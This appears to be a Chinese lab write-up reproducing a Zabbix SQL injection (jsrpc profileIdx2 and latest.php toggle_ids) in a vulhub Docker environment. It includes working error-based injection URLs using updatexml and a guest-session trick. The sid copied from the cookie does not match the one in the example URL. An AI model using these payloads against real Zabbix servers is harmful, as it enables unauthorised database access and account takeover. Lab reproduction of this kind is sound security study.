文章目录
- 一、Zabbix概述
- 二、运行环境
- 三、漏洞复现
- 方法一:
- 方法二:
一、Zabbix概述
Zabbix 是一个企业级分布式开源监控解决方案。Zabbix 软件能够监控众多网络参数和服务器的健康度、完整性。
Zabbix由以下组件组成:
1、Server:Zabbix server 是 Zabbix软件的核心组件,agent 向其报告可用性、系统完整性信息和统计信息。server也是存储所有配置信息、统计信息和操作信息的核心存储库。
2、数据库:所有配置信息以及 Zabbix 采集到的数据都被存储在数据库中。
3、Web 界面为了从任何地方和任何平台轻松访问 Zabbix ,我们提供了基于 web 的界面。该界面是 Zabbix server 的一部分,通常(但不一定)和 Zabbix server 运行在同一台物理机器上。
4、Proxy:Zabbix proxy 可以代替 Zabbix server采集性能和可用性数据。Zabbix proxy在Zabbix的部署是可选部分;但是proxy的部署可以很好的分担单个Zabbix server的负载。
5、Agent:Zabbix agent 部署在被监控目标上,用于主动监控本地资源和应用程序,并将收集的数据发送给 Zabbix server。
6、数据流:首先,为了创建一个采集数据的监控项,就必须先创建主机。其次,在任务的另外一端,必须要有监控项才能创建触发器(trigger),必须要有触发器来创建动作(action)。因此,如果想要收到类似“X个server上CPU负载过高”这样的告警,必须首先为 Server X 创建一个主机条目,其次创建一个用于监控其 CPU的监控项,最后创建一个触发器,用来触发 CPU负载过高这个动作,并将其发送到我们的邮箱里。虽然这些步骤看起来很繁琐,但是使用模板的话,实际操作非常简单。也正是由于这种设计,使得 Zabbix 的配置变得更加灵活易用。
二、运行环境
vluhub环境
docker-compose build
docker-compose up -d
执行命令后,将启动数据库(mysql)、zabbix server、zabbix agent、zabbix web。如果内存稍小,可能会存在某个容器挂掉的情况,我们可以通过docker-compose ps查看容器状态,并通过docker-compose start来重新启动容器。
三、漏洞复现
漏洞成因:
Zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆Zabbix管理系统。
前提:不登陆情况下SQL注入,需要Zabbix开启guest权限。在Zabbix中,guest的默认密码为空。
也可以通过获取admin的sessionid来构造sid,替换cookie以管理员身份登陆。
方法一:
访问http://ip:8080,用账号guest(密码为空)登录游客账户。
登录后,查看Cookie中的zbx_sessionid,复制后16位字符:1801cf569b9a19cd
将这16个字符作为sid的值,访问
http://192.168.209.134:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
方法二:
http://192.168.209.134:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)